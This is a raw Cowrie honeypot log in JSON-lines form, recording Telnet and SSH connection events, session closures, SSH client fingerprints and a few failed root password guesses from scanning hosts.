{"eventid":"cowrie.login.failed","username":"root","password":"123456qq!","message":"login attempt [root/123456qq!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:34.147841Z","src_ip":"121.122.119.48","session":"4a30b5c78363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.69183564186096,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:35.159083Z","src_ip":"24.199.85.165","session":"dcf3b2cf634e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:35.388702Z","src_ip":"121.122.119.48","session":"4a30b5c78363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":50990,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b76fa44b7e0","protocol":"telnet","message":"New connection: 24.199.85.165:50990 (10.17.0.5:23) [session: 5b76fa44b7e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:36.971689Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":51006,"dst_ip":"10.17.0.5","dst_port":23,"session":"67a8257a06e8","protocol":"telnet","message":"New connection: 24.199.85.165:51006 (10.17.0.5:23) [session: 67a8257a06e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:37.767104Z"}
{"eventid":"cowrie.session.closed","duration":40.677221059799194,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:39.025075Z","src_ip":"24.199.85.165","session":"d3af663350f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":51022,"dst_ip":"10.17.0.5","dst_port":23,"session":"7101201765df","protocol":"telnet","message":"New connection: 24.199.85.165:51022 (10.17.0.5:23) [session: 7101201765df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:39.199046Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":51024,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f275cc6a39f","protocol":"telnet","message":"New connection: 24.199.85.165:51024 (10.17.0.5:23) [session: 3f275cc6a39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:39.763901Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":51040,"dst_ip":"10.17.0.5","dst_port":23,"session":"652076703e69","protocol":"telnet","message":"New connection: 24.199.85.165:51040 (10.17.0.5:23) [session: 652076703e69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:39.942769Z"}
{"eventid":"cowrie.session.closed","duration":13.588538885116577,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:45.411953Z","src_ip":"181.119.94.34","session":"d207568a9720","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47706,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9efe8c8e639","protocol":"telnet","message":"New connection: 24.199.85.165:47706 (10.17.0.5:23) [session: d9efe8c8e639]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:48.410743Z"}
{"eventid":"cowrie.session.closed","duration":35.61707162857056,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:39:58.959951Z","src_ip":"24.199.85.165","session":"ca2948d3435f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.403024435043335,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:02.655679Z","src_ip":"24.199.85.165","session":"1d1aedcf456b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.24476623535156,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:03.456131Z","src_ip":"24.199.85.165","session":"b09f5b4f4392","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.03724503517151,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:03.830937Z","src_ip":"24.199.85.165","session":"96be93c470cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47356,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f4683287fa2","protocol":"telnet","message":"New connection: 24.199.85.165:47356 (10.17.0.5:23) [session: 0f4683287fa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:04.401014Z"}
{"eventid":"cowrie.session.closed","duration":35.97264313697815,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:05.746980Z","src_ip":"24.199.85.165","session":"e068b26c1d78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.951173305511475,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:06.251929Z","src_ip":"24.199.85.165","session":"b51b1c35278c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.601637840270996,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:06.668936Z","src_ip":"24.199.85.165","session":"5835152e3266","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.765809297561646,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:10.047771Z","src_ip":"24.199.85.165","session":"b6c77dc8d9d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":47368,"dst_ip":"10.17.0.5","dst_port":23,"session":"a242edbef949","protocol":"telnet","message":"New connection: 24.199.85.165:47368 (10.17.0.5:23) [session: a242edbef949]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:10.584315Z"}
{"eventid":"cowrie.session.closed","duration":33.801109075546265,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:10.772664Z","src_ip":"24.199.85.165","session":"5b76fa44b7e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.653576135635376,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:12.420554Z","src_ip":"24.199.85.165","session":"67a8257a06e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.022303104400635,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:12.964895Z","src_ip":"24.199.85.165","session":"652076703e69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.08287858963013,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:13.281764Z","src_ip":"24.199.85.165","session":"7101201765df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.52531361579895,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:13.289070Z","src_ip":"24.199.85.165","session":"3f275cc6a39f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":41448,"dst_ip":"10.17.0.5","dst_port":23,"session":"12a25a67dcbc","protocol":"telnet","message":"New connection: 24.199.85.165:41448 (10.17.0.5:23) [session: 12a25a67dcbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:20.292928Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":50068,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c03a30b273f","protocol":"telnet","message":"New connection: 24.199.85.165:50068 (10.17.0.5:23) [session: 0c03a30b273f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:23.278934Z"}
{"eventid":"cowrie.session.closed","duration":34.88142657279968,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:23.292040Z","src_ip":"24.199.85.165","session":"d9efe8c8e639","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":50076,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d72cf8b4ab7","protocol":"telnet","message":"New connection: 24.199.85.165:50076 (10.17.0.5:23) [session: 3d72cf8b4ab7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:28.689607Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":50090,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a974bce86cc","protocol":"telnet","message":"New connection: 24.199.85.165:50090 (10.17.0.5:23) [session: 6a974bce86cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:29.152736Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58944,"dst_ip":"10.17.0.5","dst_port":23,"session":"8396b42df946","protocol":"telnet","message":"New connection: 24.199.85.165:58944 (10.17.0.5:23) [session: 8396b42df946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:32.417801Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58952,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e6a97fdcdeb","protocol":"telnet","message":"New connection: 24.199.85.165:58952 (10.17.0.5:23) [session: 7e6a97fdcdeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:33.383890Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58956,"dst_ip":"10.17.0.5","dst_port":23,"session":"e84585d65139","protocol":"telnet","message":"New connection: 24.199.85.165:58956 (10.17.0.5:23) [session: e84585d65139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:33.917408Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58958,"dst_ip":"10.17.0.5","dst_port":23,"session":"443a7ad1ff1a","protocol":"telnet","message":"New connection: 24.199.85.165:58958 (10.17.0.5:23) [session: 443a7ad1ff1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:35.485981Z"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":45878,"dst_ip":"159.203.135.109","dst_port":22,"session":"eca21803572a","protocol":"ssh","message":"New connection: 121.122.119.48:45878 (159.203.135.109:22) [session: eca21803572a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:36.155999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:36.163473Z","src_ip":"121.122.119.48","session":"eca21803572a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:36.402828Z","src_ip":"121.122.119.48","session":"eca21803572a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"satu2tiga","message":"login attempt [root/satu2tiga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:37.397137Z","src_ip":"121.122.119.48","session":"eca21803572a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:38.638880Z","src_ip":"121.122.119.48","session":"eca21803572a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58964,"dst_ip":"10.17.0.5","dst_port":23,"session":"a40cdaf5d946","protocol":"telnet","message":"New connection: 24.199.85.165:58964 (10.17.0.5:23) [session: a40cdaf5d946]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:39.039762Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58974,"dst_ip":"10.17.0.5","dst_port":23,"session":"a566b59c3355","protocol":"telnet","message":"New connection: 24.199.85.165:58974 (10.17.0.5:23) [session: a566b59c3355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:41.159678Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":58986,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b8c51541fbe","protocol":"telnet","message":"New connection: 24.199.85.165:58986 (10.17.0.5:23) [session: 0b8c51541fbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:41.523682Z"}
{"eventid":"cowrie.session.closed","duration":39.91326904296875,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:44.314165Z","src_ip":"24.199.85.165","session":"0f4683287fa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.21304965019226,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:47.797371Z","src_ip":"24.199.85.165","session":"a242edbef949","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.97445845603943,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:53.267269Z","src_ip":"24.199.85.165","session":"12a25a67dcbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.49107122421265,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:56.769900Z","src_ip":"24.199.85.165","session":"0c03a30b273f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":57664,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c2c3fdc971d","protocol":"telnet","message":"New connection: 24.199.85.165:57664 (10.17.0.5:23) [session: 0c2c3fdc971d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:40:57.933503Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":57680,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3cad805fc15","protocol":"telnet","message":"New connection: 24.199.85.165:57680 (10.17.0.5:23) [session: b3cad805fc15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:00.931046Z"}
{"eventid":"cowrie.session.closed","duration":30.327678680419922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:04.244964Z","src_ip":"24.199.85.165","session":"e84585d65139","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.46026659011841,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:08.877966Z","src_ip":"24.199.85.165","session":"8396b42df946","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.14773392677307,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:09.633617Z","src_ip":"24.199.85.165","session":"443a7ad1ff1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.958953857421875,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:09.648418Z","src_ip":"24.199.85.165","session":"3d72cf8b4ab7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.725178241729736,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:09.877777Z","src_ip":"24.199.85.165","session":"6a974bce86cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.20327877998352,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:13.587053Z","src_ip":"24.199.85.165","session":"7e6a97fdcdeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44396,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fd6c41d28d9","protocol":"telnet","message":"New connection: 24.199.85.165:44396 (10.17.0.5:23) [session: 7fd6c41d28d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:14.877591Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44408,"dst_ip":"10.17.0.5","dst_port":23,"session":"17e2e8e18b28","protocol":"telnet","message":"New connection: 24.199.85.165:44408 (10.17.0.5:23) [session: 17e2e8e18b28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:15.629997Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44424,"dst_ip":"10.17.0.5","dst_port":23,"session":"029d37fe63b2","protocol":"telnet","message":"New connection: 24.199.85.165:44424 (10.17.0.5:23) [session: 029d37fe63b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:16.919479Z"}
{"eventid":"cowrie.session.closed","duration":35.83857202529907,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:16.998140Z","src_ip":"24.199.85.165","session":"a566b59c3355","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44440,"dst_ip":"10.17.0.5","dst_port":23,"session":"053bbebe4102","protocol":"telnet","message":"New connection: 24.199.85.165:44440 (10.17.0.5:23) [session: 053bbebe4102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:17.517991Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44444,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cf5cd24fe2b","protocol":"telnet","message":"New connection: 24.199.85.165:44444 (10.17.0.5:23) [session: 7cf5cd24fe2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:17.576896Z"}
{"eventid":"cowrie.session.closed","duration":36.775177240371704,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:18.298731Z","src_ip":"24.199.85.165","session":"0b8c51541fbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.40786910057068,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:20.447514Z","src_ip":"24.199.85.165","session":"a40cdaf5d946","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44452,"dst_ip":"10.17.0.5","dst_port":23,"session":"e9d1e7f8e579","protocol":"telnet","message":"New connection: 24.199.85.165:44452 (10.17.0.5:23) [session: e9d1e7f8e579]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:20.676363Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":44456,"dst_ip":"10.17.0.5","dst_port":23,"session":"bac16561ea2a","protocol":"telnet","message":"New connection: 24.199.85.165:44456 (10.17.0.5:23) [session: bac16561ea2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:20.702041Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":36190,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b150e8804bc","protocol":"telnet","message":"New connection: 24.199.85.165:36190 (10.17.0.5:23) [session: 5b150e8804bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:23.470006Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":36206,"dst_ip":"10.17.0.5","dst_port":23,"session":"88a4837c7721","protocol":"telnet","message":"New connection: 24.199.85.165:36206 (10.17.0.5:23) [session: 88a4837c7721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:31.057943Z"}
{"eventid":"cowrie.session.closed","duration":32.630674839019775,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:33.561594Z","src_ip":"24.199.85.165","session":"b3cad805fc15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.69184327125549,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:33.624951Z","src_ip":"24.199.85.165","session":"0c2c3fdc971d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42424,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ba6672797fd","protocol":"telnet","message":"New connection: 24.199.85.165:42424 (10.17.0.5:23) [session: 8ba6672797fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:35.135068Z"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":54804,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbaf52365c2f","protocol":"ssh","message":"New connection: 121.122.119.48:54804 (159.203.135.109:22) [session: fbaf52365c2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:36.209414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:36.214859Z","src_ip":"121.122.119.48","session":"fbaf52365c2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 